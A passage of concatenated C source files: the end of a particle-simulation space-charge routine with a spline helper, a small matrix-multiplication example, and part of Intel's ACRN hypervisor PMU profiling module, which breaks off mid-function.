double xu,xl,yu,yl,zu,zl,t,u,v,ph,phx,phy,a4,a3,a2,a1,w;
double lambda,dlambda_dz,Kfac,lambda0,dlambda_dz0;
int i,ii,jj,kk,nn,it,ij,ijf;
Kfac=Kcoeff*TravelLength/np_psn/dz_psn/np_psn;
for(i=0;i<np;i++) {
if(fabs(x[i])>xm_psn || fabs(y[i])>ym_psn) continue;
ii=(x[i]+xc_psn)/dx_psn;
jj=(y[i]+yc_psn)/dy_psn;
kk=(z[i]+zc_psn)/dz_psn;
if(ii<1 || ii>nx_psn-1) continue;
if(jj<1 || jj>ny_psn-1) continue;
xl=(ii-ixc_psn)*dx_psn;
xu=xl+dx_psn;
yl=(jj-jyc_psn)*dy_psn;
yu=yl+dy_psn;
zl=(kk-kzc_psn)*dz_psn;
zu=zl+dz_psn;
t=(x[i]-xl)/dx_psn;
u=(y[i]-yl)/dy_psn;
v=(z[i]-zl)/dz_psn;
ph=0.;
phx=0.;
phy=0.;
ij=ii*(ny_psn+1)+jj;
ijf=ij*16;
a4=((btab[15+ijf]*u+btab[14+ijf])*u+
btab[13+ijf])*u+btab[12+ijf];
a3=((btab[11+ijf]*u+btab[10+ijf])*u+
btab[9+ijf])*u+btab[8+ijf];
a2=((btab[7+ijf]*u +btab[6+ijf])*u+
btab[5+ijf])*u+btab[4+ijf];
a1=((btab[3+ijf]*u +btab[2+ijf])*u+
btab[1+ijf])*u+btab[ijf];
ph=a1+(a2+(a3+a4*t)*t)*t;
a4=(3.*btab[15+ijf]*u+2.*btab[14+ijf])*u+btab[13+ijf];
a3=(3.*btab[11+ijf]*u+2.*btab[10+ijf])*u+btab[9+ijf];
a2=(3.*btab[7+ijf]*u+2.*btab[6+ijf])*u+btab[5+ijf];
a1=(3.*btab[3+ijf]*u+2.*btab[2+ijf])*u+btab[1+ijf];
phy=a1+(a2+(a3+a4*t)*t)*t;
a4=(3.*btab[15+ijf]*t+2.*btab[11+ijf])*t+btab[7+ijf];
a3=(3.*btab[14+ijf]*t+2.*btab[10+ijf])*t+btab[6+ijf];
a2=(3.*btab[13+ijf]*t+2.*btab[9+ijf])*t+btab[5+ijf];
a1=(3.*btab[12+ijf]*t+2.*btab[8+ijf])*t+btab[4+ijf];
phx=a1+(a2+(a3+a4*u)*u)*u;
phx=phx/dx_psn;
phy=phy/dy_psn;
if(kk<0 || kk>=nz_psn) {
printf("Out of z slice\n");
continue;
}
// The latest rhoz is used. Is it okay?
lambda0=(rhoz[kk+1]*v+rhoz[kk]*(1.-v)); // /dz_psn/P.N(); Kfac
dlambda_dz0=(rhoz[kk+1]-rhoz[kk])/dz_psn; // /dz_psn/P.N();
/* Spline fit */
w=1.-v;
lambda=w*rhoz[kk]+v*rhoz[kk+1]+
((w*w*w-w)*rhoz_sp[kk]+(v*v*v-v)*rhoz_sp[kk+1])*(dz_psn*dz_psn)/6.;
dlambda_dz=(rhoz[kk+1]-rhoz[kk])/dz_psn
-((3.*w*w-1.)*rhoz_sp[kk]-(3.*v*v-1.)*rhoz_sp[kk+1])*dz_psn/6.;
//printf("%f %e %e %e %e\n",z[i],lambda0,lambda,dlambda_dz0,dlambda_dz);
px[i]-=Kfac*lambda*phx;
py[i]-=Kfac*lambda*phy;
pz[i]-=Kfac*dlambda_dz*ph;
}
}
void splined(double x[],double y[],int n,double yp1,double ypn,double y2[])
{
int i,k;
double p,qn,sig,un,*u;
u=(double*)malloc(sizeof(double)*n);
if(yp1>.99e33) {
y2[0]=0.;
u[0]=0.;}
else {
y2[0]=-0.5;
u[0]=(3./(x[1]-x[0]))*((y[1]-y[0])/(x[1]-x[0])-yp1);
}
for(i=1;i<n-1;i++) {
sig=(x[i]-x[i-1])/(x[i+1]-x[i-1]);
p=sig*y2[i-1]+2.;
y2[i]=(sig-1.0)/p;
u[i]=(6.*((y[i+1]-y[i])/(x[i+1]-x[i])-(y[i]-y[i-1])/(x[i]-x[i-1]))
/(x[i+1]-x[i-1])-sig*u[i-1])/p;
}
if(ypn>.99e30) {
qn=0.;
un=0.; }
else {
qn=0.5;
un=(3./(x[n-1]-x[n-2]))*(ypn-(y[n-1]-y[n-2])/(x[n-1]-x[n-2]));
}
y2[n-1]=(un-qn*u[n-2])/(qn*y2[n-2]+1.);
for(k=n-2;k>=0;k--) {
y2[k]=y2[k]*y2[k+1]+u[k];
}
free(u);
}
|
the_stack_data/50136670.c
|
/*
Simple matrix multiplication example.
*/
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
/*
matrix multiplication
*/
void matrix_mult(const int N, const int M, const int K, double A[N][M], double B[M][K], double C[N][K]) {
for(int i=0; i<N; i++) {
for(int j=0; j<K; j++) {
C[i][j] = 0;
}
}
#pragma loop1
for(int i=0; i<N; i++) {
for(int j=0; j< K; j++) {
for(int l=0; l< M; l++) {
C[i][j] += A[i][l]*B[l][j];
}
}
}
}
/*
* Set an N by M matrix A to random values
*/
void init_matrix(const int N, const int M, double A[N][M]) {
for (int i = 0; i < N; ++i) {
for (int j = 0; j < M; ++j) {
A[i][j] = ((double) rand()) / (double) RAND_MAX;
}
}
}
void print_matrix_result(const int N, const int K, double A[N][K]) {
double acc = 0.0;
for (int i = 0; i < N; ++i) {
for (int j = 0; j < K; ++j) {
acc += A[i][j];
}
}
printf("Result acc: %f\n", acc);
}
void test_matrix_mul() {
/*
int N=2048;
int M=1024;
int K=2048;
*/
int N = 1024;
int M = 512;
int K = 512;
// allocate matrices
double (*A)[M] = malloc(sizeof(double[N][M]));
double (*B)[K] = malloc(sizeof(double[M][K]));
double (*C)[K] = malloc(sizeof(double[N][K]));
// initialize matrices
init_matrix(N, M, A);
init_matrix(M, K, B);
// do: C = A*B
matrix_mult(N, M, K, A, B, C);
print_matrix_result(N, K, C);
// free
free(C);
free(B);
free(A);
}
int main() {
// To make results repeatable
srand(0);
test_matrix_mul();
}
|
the_stack_data/858775.c
|
/*
* Copyright (C) 2018 Intel Corporation. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#ifdef PROFILING_ON
#include <types.h>
#include <errno.h>
#include <irq.h>
#include <per_cpu.h>
#include <pgtable.h>
#include <vmx.h>
#include <cpuid.h>
#include <vm.h>
#include <sprintf.h>
#include <logmsg.h>
#define ACRN_DBG_PROFILING 5U
#define ACRN_ERR_PROFILING 3U
#define MAJOR_VERSION 1
#define MINOR_VERSION 0
#define LBR_NUM_REGISTERS 32U
#define PERF_OVF_BIT_MASK 0xC0000070000000FULL
#define LVT_PERFCTR_BIT_UNMASK 0xFFFEFFFFU
#define LVT_PERFCTR_BIT_MASK 0x10000U
#define VALID_DEBUGCTL_BIT_MASK 0x1801U
static uint64_t sep_collection_switch;
static uint64_t socwatch_collection_switch;
static bool in_pmu_profiling;
static uint32_t profiling_pmi_irq = IRQ_INVALID;
extern struct irq_desc irq_desc_array[NR_IRQS];
static void profiling_initialize_vmsw(void)
{
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
}
/*
* Configure the PMU's for sep/socwatch profiling.
* Initial write of PMU registers.
* Walk through the entries and write the value of the register accordingly.
* Note: current_group is always set to 0, only 1 group is supported.
*/
static void profiling_initialize_pmi(void)
{
uint32_t i, group_id;
struct profiling_msr_op *msrop = NULL;
struct sep_state *ss = &get_cpu_var(profiling_info.s_state);
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
if (ss == NULL) {
dev_dbg(ACRN_ERR_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
return;
}
group_id = ss->current_pmi_group_id = 0U;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_initial_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_id == MSR_IA32_DEBUGCTL) {
ss->guest_debugctl_value = msrop->value;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
msr_write(msrop->msr_id, msrop->value);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRWRITE cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), msrop->msr_id, msrop->value);
}
}
}
ss->pmu_state = PMU_SETUP;
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
}
/*
* Enable all the Performance Monitoring Control registers.
*/
static void profiling_enable_pmu(void)
{
uint32_t lvt_perf_ctr;
uint32_t i;
uint32_t group_id;
uint32_t size;
struct profiling_msr_op *msrop = NULL;
struct sep_state *ss = &get_cpu_var(profiling_info.s_state);
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
if (ss == NULL) {
dev_dbg(ACRN_ERR_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
return;
}
/* Unmask LAPIC LVT entry for PMC register */
lvt_perf_ctr = (uint32_t) msr_read(MSR_IA32_EXT_APIC_LVT_PMI);
dev_dbg(ACRN_DBG_PROFILING, "%s: 0x%x, 0x%llx",
__func__, MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
lvt_perf_ctr &= LVT_PERFCTR_BIT_UNMASK;
msr_write(MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
dev_dbg(ACRN_DBG_PROFILING, "%s: 0x%x, 0x%llx",
__func__, MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
if (ss->guest_debugctl_value != 0U) {
/* Merge the msr vmexit loading list with HV */
if (ss->vmexit_msr_cnt == 0U) {
struct acrn_vcpu *vcpu = get_ever_run_vcpu(get_pcpu_id());
size = sizeof(struct msr_store_entry) * MAX_HV_MSR_LIST_NUM;
(void)memcpy_s(ss->vmexit_msr_list, size, vcpu->arch.msr_area.host, size);
ss->vmexit_msr_cnt = MAX_HV_MSR_LIST_NUM;
ss->vmexit_msr_list[MAX_HV_MSR_LIST_NUM].msr_index = MSR_IA32_DEBUGCTL;
ss->vmexit_msr_list[MAX_HV_MSR_LIST_NUM].value = ss->guest_debugctl_value & VALID_DEBUGCTL_BIT_MASK;
ss->vmexit_msr_cnt++;
exec_vmwrite64(VMX_EXIT_MSR_LOAD_ADDR_FULL, hva2hpa(ss->vmexit_msr_list));
exec_vmwrite32(VMX_EXIT_MSR_LOAD_COUNT, ss->vmexit_msr_cnt);
}
/* VMCS GUEST field */
ss->saved_debugctl_value
= exec_vmread64(VMX_GUEST_IA32_DEBUGCTL_FULL);
exec_vmwrite64(VMX_GUEST_IA32_DEBUGCTL_FULL,
(ss->guest_debugctl_value & VALID_DEBUGCTL_BIT_MASK));
}
group_id = ss->current_pmi_group_id;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_start_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
msr_write(msrop->msr_id, msrop->value);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRWRITE cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), msrop->msr_id, msrop->value);
}
}
}
ss->pmu_state = PMU_RUNNING;
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
}
/*
* Disable all Performance Monitoring Control registers
*/
static void profiling_disable_pmu(void)
{
uint32_t lvt_perf_ctr;
uint32_t i;
uint32_t group_id;
struct profiling_msr_op *msrop = NULL;
struct sep_state *ss = &get_cpu_var(profiling_info.s_state);
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
if (ss != NULL) {
if (ss->vmexit_msr_cnt != 0U) {
/* Restore the msr exit loading list of HV */
struct acrn_vcpu *vcpu = get_ever_run_vcpu(get_pcpu_id());
exec_vmwrite64(VMX_EXIT_MSR_LOAD_ADDR_FULL, hva2hpa(vcpu->arch.msr_area.host));
exec_vmwrite32(VMX_EXIT_MSR_LOAD_COUNT, MAX_HV_MSR_LIST_NUM);
ss->vmexit_msr_cnt = 0U;
}
group_id = ss->current_pmi_group_id;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_stop_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
msr_write(msrop->msr_id, msrop->value);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRWRITE cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), msrop->msr_id, msrop->value);
}
}
}
/* Mask LAPIC LVT entry for PMC register */
lvt_perf_ctr = (uint32_t) msr_read(MSR_IA32_EXT_APIC_LVT_PMI);
lvt_perf_ctr |= LVT_PERFCTR_BIT_MASK;
msr_write(MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
ss->pmu_state = PMU_SETUP;
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
} else {
dev_dbg(ACRN_ERR_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
}
}
/*
* Writes specified size of data into sbuf
*/
static int32_t profiling_sbuf_put_variable(struct shared_buf *sbuf,
uint8_t *data, uint32_t size)
{
uint32_t remaining_space, offset, next_tail;
void *to;
/*
* 1. check for null pointers and non-zero size
* 2. check if enough room available in the buffer
* 2a. if not, drop the sample, increment count of dropped samples,
* return
* 2b. unless overwrite flag is enabled
* 3. Continue if buffer has space for the sample
* 4. Copy sample to buffer
* 4a. Split variable sample to be copied if the sample is going to
* wrap around the buffer
* 4b. Otherwise do a simple copy
* 5. return number of bytes of data put in buffer
*/
if ((sbuf == NULL) || (data == NULL)) {
return -EINVAL;
}
if (size == 0U) {
return 0;
}
stac();
if (sbuf->tail >= sbuf->head) {
remaining_space = sbuf->size - (sbuf->tail - sbuf->head);
} else {
remaining_space = sbuf->head - sbuf->tail;
}
if (size >= remaining_space) {
/* Only (remaining_space - 1) can be written to sbuf.
* Since if the next_tail equals head, then it is assumed
* that buffer is empty, not full
*/
clac();
return 0;
}
next_tail = sbuf_next_ptr(sbuf->tail, size, sbuf->size);
to = (void *)sbuf + SBUF_HEAD_SIZE + sbuf->tail;
if (next_tail < sbuf->tail) { /* wrap-around */
offset = sbuf->size - sbuf->tail;
(void)memcpy_s(to, offset, data, offset);
/* 2nd part */
to = (void *)sbuf + SBUF_HEAD_SIZE;
if ((size - offset) > 0U) {
(void)memcpy_s(to, size - offset,
data + offset, size - offset);
}
} else {
(void)memcpy_s(to, size, data, size);
}
sbuf->tail = next_tail;
clac();
return (int32_t)size;
}
/*
* Read profiling data and transferred to SOS
* Drop transfer of profiling data if sbuf is full/insufficient and log it
*/
static int32_t profiling_generate_data(int32_t collector, uint32_t type)
{
uint64_t i;
uint32_t remaining_space = 0U;
int32_t ret = 0;
struct data_header pkt_header;
uint64_t payload_size = 0UL;
void *payload = NULL;
struct shared_buf *sbuf = NULL;
struct sep_state *ss = &(get_cpu_var(profiling_info.s_state));
struct sw_msr_op_info *sw_msrop
= &(get_cpu_var(profiling_info.sw_msr_info));
uint64_t rflags;
spinlock_t *sw_lock = NULL;
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
if (collector == COLLECT_PROFILE_DATA) {
sbuf = per_cpu(sbuf, get_pcpu_id())[ACRN_SEP];
if (sbuf == NULL) {
ss->samples_dropped++;
dev_dbg(ACRN_DBG_PROFILING, "%s: sbuf is NULL exiting cpu%d",
__func__, get_pcpu_id());
return 0;
}
if (ss->pmu_state == PMU_RUNNING) {
stac();
if (sbuf->tail >= sbuf->head) {
remaining_space = sbuf->size
- (sbuf->tail - sbuf->head);
} else {
remaining_space = sbuf->head - sbuf->tail;
}
clac();
/* populate the data header */
pkt_header.tsc = rdtsc();
pkt_header.collector_id = collector;
pkt_header.cpu_id = get_pcpu_id();
pkt_header.data_type = 1U << type;
pkt_header.reserved = MAGIC_NUMBER;
switch (type) {
case CORE_PMU_SAMPLING:
payload_size = CORE_PMU_SAMPLE_SIZE;
payload = &get_cpu_var(profiling_info.p_sample);
break;
case LBR_PMU_SAMPLING:
payload_size = CORE_PMU_SAMPLE_SIZE
+ LBR_PMU_SAMPLE_SIZE;
payload = &get_cpu_var(profiling_info.p_sample);
break;
case VM_SWITCH_TRACING:
payload_size = VM_SWITCH_TRACE_SIZE;
payload = &get_cpu_var(profiling_info.vm_trace);
break;
default:
pr_err("%s: unknown data type %u on cpu %d",
__func__, type, get_pcpu_id());
ret = -1;
break;
}
if (ret == -1) {
return 0;
}
pkt_header.payload_size = payload_size;
if ((uint64_t)remaining_space < (DATA_HEADER_SIZE + payload_size)) {
ss->samples_dropped++;
dev_dbg(ACRN_DBG_PROFILING,
"%s: not enough space left in sbuf[%d: %d] exiting cpu%d",
__func__, remaining_space,
DATA_HEADER_SIZE + payload_size, get_pcpu_id());
return 0;
}
for (i = 0U; i < (((DATA_HEADER_SIZE - 1U) / SEP_BUF_ENTRY_SIZE) + 1U); i++) {
(void)sbuf_put(sbuf, (uint8_t *)&pkt_header + i * SEP_BUF_ENTRY_SIZE);
}
for (i = 0U; i < (((payload_size - 1U) / SEP_BUF_ENTRY_SIZE) + 1U); i++) {
(void)sbuf_put(sbuf, (uint8_t *)payload + i * SEP_BUF_ENTRY_SIZE);
}
ss->samples_logged++;
}
} else if (collector == COLLECT_POWER_DATA) {
sbuf = per_cpu(sbuf, get_pcpu_id())[ACRN_SOCWATCH];
if (sbuf == NULL) {
dev_dbg(ACRN_DBG_PROFILING,
"%s: socwatch buffers not initialized?", __func__);
return 0;
}
sw_lock = &(get_cpu_var(profiling_info.sw_lock));
spinlock_irqsave_obtain(sw_lock, &rflags);
stac();
if (sbuf->tail >= sbuf->head) {
remaining_space
= sbuf->size - (sbuf->tail - sbuf->head);
} else {
remaining_space = sbuf->head - sbuf->tail;
}
clac();
/* populate the data header */
pkt_header.tsc = rdtsc();
pkt_header.collector_id = collector;
pkt_header.cpu_id = get_pcpu_id();
pkt_header.data_type = (uint16_t)type;
switch (type) {
case SOCWATCH_MSR_OP:
dev_dbg(ACRN_DBG_PROFILING,
"%s: generating cstate/pstate sample socwatch cpu %d",
__func__, sw_msrop->cpu_id);
pkt_header.cpu_id = (uint16_t)sw_msrop->cpu_id;
pkt_header.data_type = sw_msrop->sample_id;
payload_size
= ((uint64_t)sw_msrop->valid_entries) * sizeof(uint64_t);
payload = &(sw_msrop->core_msr[0]);
break;
case SOCWATCH_VM_SWITCH_TRACING:
dev_dbg(ACRN_DBG_PROFILING,
"%s: generating vm-switch sample", __func__);
payload_size = VM_SWITCH_TRACE_SIZE;
payload = &get_cpu_var(profiling_info.vm_trace);
break;
default:
pr_err("%s: unknown data type %u on cpu %d",
__func__, type, get_pcpu_id());
ret = -1;
break;
}
if (ret == -1){
return 0;
}
pkt_header.payload_size = payload_size;
if ((DATA_HEADER_SIZE + payload_size) >= (uint64_t)remaining_space) {
pr_err("%s: not enough space in socwatch buffer on cpu %d",
__func__, get_pcpu_id());
return 0;
}
/* copy header */
(void)profiling_sbuf_put_variable(sbuf,
(uint8_t *)&pkt_header, (uint32_t)DATA_HEADER_SIZE);
/* copy payload */
(void)profiling_sbuf_put_variable(sbuf,
(uint8_t *)payload, (uint32_t)payload_size);
spinlock_irqrestore_release(sw_lock, rflags);
} else {
dev_dbg(ACRN_ERR_PROFILING,
"%s: Unknown collector type", __func__);
return 0;
}
return 0;
}
/*
* Performs MSR operations - read, write and clear
*/
static void profiling_handle_msrops(void)
{
uint32_t i, j;
struct profiling_msr_ops_list *my_msr_node
= get_cpu_var(profiling_info.msr_node);
struct sw_msr_op_info *sw_msrop
= &(get_cpu_var(profiling_info.sw_msr_info));
dev_dbg(ACRN_DBG_PROFILING, "%s: entering cpu%d",
__func__, get_pcpu_id());
if ((my_msr_node == NULL) ||
(my_msr_node->msr_op_state != (int32_t)MSR_OP_REQUESTED)) {
dev_dbg(ACRN_DBG_PROFILING, "%s: invalid my_msr_node on cpu%d",
__func__, get_pcpu_id());
return;
}
if ((my_msr_node->num_entries == 0U) ||
(my_msr_node->num_entries >= MAX_MSR_LIST_NUM)) {
dev_dbg(ACRN_DBG_PROFILING,
"%s: invalid num_entries on cpu%d",
__func__, get_pcpu_id());
return;
}
for (i = 0U; i < my_msr_node->num_entries; i++) {
switch (my_msr_node->entries[i].msr_op_type) {
case MSR_OP_READ:
my_msr_node->entries[i].value
= msr_read(my_msr_node->entries[i].msr_id);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRREAD cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), my_msr_node->entries[i].msr_id,
my_msr_node->entries[i].value);
break;
case MSR_OP_READ_CLEAR:
my_msr_node->entries[i].value
= msr_read(my_msr_node->entries[i].msr_id);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRREADCLEAR cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), my_msr_node->entries[i].msr_id,
my_msr_node->entries[i].value);
msr_write(my_msr_node->entries[i].msr_id, 0U);
break;
case MSR_OP_WRITE:
msr_write(my_msr_node->entries[i].msr_id,
my_msr_node->entries[i].value);
dev_dbg(ACRN_DBG_PROFILING,
"%s: MSRWRITE cpu%d, msr_id=0x%x, msr_val=0x%llx",
__func__, get_pcpu_id(), my_msr_node->entries[i].msr_id,
my_msr_node->entries[i].value);
break;
default:
pr_err("%s: unknown MSR op_type %u on cpu %d",
__func__, my_msr_node->entries[i].msr_op_type,
get_pcpu_id());
break;
}
}
my_msr_node->msr_op_state = (int32_t)MSR_OP_HANDLED;
/* Also generates sample */
if ((my_msr_node->collector_id == COLLECT_POWER_DATA) &&
(sw_msrop != NULL)) {
sw_msrop->cpu_id = get_pcpu_id();
sw_msrop->valid_entries = my_msr_node->num_entries;
/*
* if 'param' is 0, then skip generating a sample since it is
* an immediate MSR read operation.
*/
if (my_msr_node->entries[0].param != 0UL) {
for (j = 0U; j < my_msr_node->num_entries; ++j) {
sw_msrop->core_msr[j]
= my_msr_node->entries[j].value;
/*
* socwatch uses the 'param' field to store the
* sample id needed by socwatch to identify the
* type of sample during post-processing
*/
sw_msrop->sample_id
= my_msr_node->entries[j].param;
}
/* generate sample */
(void)profiling_generate_data(COLLECT_POWER_DATA,
SOCWATCH_MSR_OP);
}
my_msr_node->msr_op_state = (int32_t)MSR_OP_REQUESTED;
}
dev_dbg(ACRN_DBG_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
}
/*
* Interrupt handler for performance monitoring interrupts
*/
static void profiling_pmi_handler(uint32_t irq, __unused void *data)
{
uint64_t perf_ovf_status;
uint32_t lvt_perf_ctr;
uint32_t i;
uint32_t group_id;
struct profiling_msr_op *msrop = NULL;
struct pmu_sample *psample = &(get_cpu_var(profiling_info.p_sample));
struct sep_state *ss = &(get_cpu_var(profiling_info.s_state));
if ((ss == NULL) || (psample == NULL)) {
dev_dbg(ACRN_ERR_PROFILING, "%s: exiting cpu%d",
__func__, get_pcpu_id());
return;
}
/* Stop all the counters first */
msr_write(MSR_IA32_PERF_GLOBAL_CTRL, 0x0U);
group_id = ss->current_pmi_group_id;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_entry_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
msr_write(msrop->msr_id, msrop->value);
}
}
}
ss->total_pmi_count++;
perf_ovf_status = msr_read(MSR_IA32_PERF_GLOBAL_STATUS);
lvt_perf_ctr = (uint32_t)msr_read(MSR_IA32_EXT_APIC_LVT_PMI);
if (perf_ovf_status == 0U) {
goto reconfig;
}
if ((perf_ovf_status & 0x80000000000000FULL) == 0U) {
ss->nofrozen_pmi++;
}
(void)memset(psample, 0U, sizeof(struct pmu_sample));
/* Attribute PMI to guest context */
if ((get_cpu_var(profiling_info.vm_info).vmexit_reason
== VMX_EXIT_REASON_EXTERNAL_INTERRUPT) &&
((uint64_t)get_cpu_var(profiling_info.vm_info).external_vector
== VECTOR_PMI)) {
psample->csample.os_id
= get_cpu_var(profiling_info.vm_info).guest_vm_id;
(void)memset(psample->csample.task, 0U, 16);
psample->csample.cpu_id = get_pcpu_id();
psample->csample.process_id = 0U;
psample->csample.task_id = 0U;
psample->csample.overflow_status = perf_ovf_status;
psample->csample.rip = get_cpu_var(profiling_info.vm_info).guest_rip;
psample->csample.rflags
= (uint32_t)get_cpu_var(profiling_info.vm_info).guest_rflags;
psample->csample.cs
= (uint32_t)get_cpu_var(profiling_info.vm_info).guest_cs;
get_cpu_var(profiling_info.vm_info).vmexit_reason = 0U;
get_cpu_var(profiling_info.vm_info).external_vector = -1;
/* Attribute PMI to hypervisor context */
} else {
psample->csample.os_id = 0xFFFFU;
(void)memcpy_s(psample->csample.task, 16, "VMM\0", 4);
psample->csample.cpu_id = get_pcpu_id();
psample->csample.process_id = 0U;
psample->csample.task_id = 0U;
psample->csample.overflow_status = perf_ovf_status;
psample->csample.rip = irq_desc_array[irq].ctx_rip;
psample->csample.rflags
= (uint32_t)irq_desc_array[irq].ctx_rflags;
psample->csample.cs = (uint32_t)irq_desc_array[irq].ctx_cs;
}
if ((sep_collection_switch &
(1UL << (uint64_t)LBR_PMU_SAMPLING)) > 0UL) {
psample->lsample.lbr_tos = msr_read(MSR_CORE_LASTBRANCH_TOS);
for (i = 0U; i < LBR_NUM_REGISTERS; i++) {
psample->lsample.lbr_from_ip[i]
= msr_read(MSR_CORE_LASTBRANCH_0_FROM_IP + i);
psample->lsample.lbr_to_ip[i]
= msr_read(MSR_CORE_LASTBRANCH_0_TO_IP + i);
}
/* Generate core pmu sample and lbr data */
(void)profiling_generate_data(COLLECT_PROFILE_DATA, LBR_PMU_SAMPLING);
} else {
/* Generate core pmu sample only */
(void)profiling_generate_data(COLLECT_PROFILE_DATA, CORE_PMU_SAMPLING);
}
/* Clear PERF_GLOBAL_OVF_STATUS bits */
msr_write(MSR_IA32_PERF_GLOBAL_OVF_CTRL,
perf_ovf_status & PERF_OVF_BIT_MASK);
ss->valid_pmi_count++;
group_id = ss->current_pmi_group_id;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_exit_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
if (msrop->reg_type != (uint8_t)PMU_MSR_DATA) {
if (msrop->msr_id != MSR_IA32_PERF_GLOBAL_CTRL) {
msr_write(msrop->msr_id, msrop->value);
}
}
else {
if (((perf_ovf_status >> msrop->param) & 0x1U) > 0U) {
msr_write(msrop->msr_id, msrop->value);
}
}
}
}
}
reconfig:
if (ss->pmu_state == PMU_RUNNING) {
/* Unmask the interrupt */
lvt_perf_ctr &= LVT_PERFCTR_BIT_UNMASK;
msr_write(MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
group_id = ss->current_pmi_group_id;
for (i = 0U; i < MAX_MSR_LIST_NUM; i++) {
msrop = &(ss->pmi_start_msr_list[group_id][i]);
if (msrop != NULL) {
if (msrop->msr_id == (uint32_t)-1) {
break;
}
if (msrop->msr_op_type == (uint8_t)MSR_OP_WRITE) {
msr_write(msrop->msr_id, msrop->value);
}
}
}
} else {
/* Mask the interrupt */
lvt_perf_ctr |= LVT_PERFCTR_BIT_MASK;
msr_write(MSR_IA32_EXT_APIC_LVT_PMI, lvt_perf_ctr);
}
}
/*
* Initialize sep state and enable PMU counters
*/
static void profiling_start_pmu(void)
{
uint16_t i;
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (in_pmu_profiling) {
return;
}
for (i = 0U; i < pcpu_nums; i++) {
if (per_cpu(profiling_info.s_state, i).pmu_state != PMU_SETUP) {
pr_err("%s: invalid pmu_state %u on cpu%d",
__func__, get_cpu_var(profiling_info.s_state).pmu_state, i);
return;
}
}
for (i = 0U; i < pcpu_nums; i++) {
per_cpu(profiling_info.ipi_cmd, i) = IPI_PMU_START;
per_cpu(profiling_info.s_state, i).samples_logged = 0U;
per_cpu(profiling_info.s_state, i).samples_dropped = 0U;
per_cpu(profiling_info.s_state, i).valid_pmi_count = 0U;
per_cpu(profiling_info.s_state, i).total_pmi_count = 0U;
per_cpu(profiling_info.s_state, i).total_vmexit_count = 0U;
per_cpu(profiling_info.s_state, i).frozen_well = 0U;
per_cpu(profiling_info.s_state, i).frozen_delayed = 0U;
per_cpu(profiling_info.s_state, i).nofrozen_pmi = 0U;
per_cpu(profiling_info.s_state, i).pmu_state = PMU_RUNNING;
}
smp_call_function(get_active_pcpu_bitmap(), profiling_ipi_handler, NULL);
in_pmu_profiling = true;
dev_dbg(ACRN_DBG_PROFILING, "%s: done", __func__);
}
/*
* Reset sep state and Disable all the PMU counters
*/
static void profiling_stop_pmu(void)
{
uint16_t i;
uint16_t pcpu_nums = get_pcpu_nums();
dev_dbg(ACRN_DBG_PROFILING, "%s: entering", __func__);
if (in_pmu_profiling) {
for (i = 0U; i < pcpu_nums; i++) {
per_cpu(profiling_info.ipi_cmd, i) = IPI_PMU_STOP;
if (per_cpu(profiling_info.s_state, i).pmu_state == PMU_RUNNING) {
per_cpu(profiling_info.s_state, i).pmu_state = PMU_SETUP;
}
dev_dbg(ACRN_DBG_PROFILING,
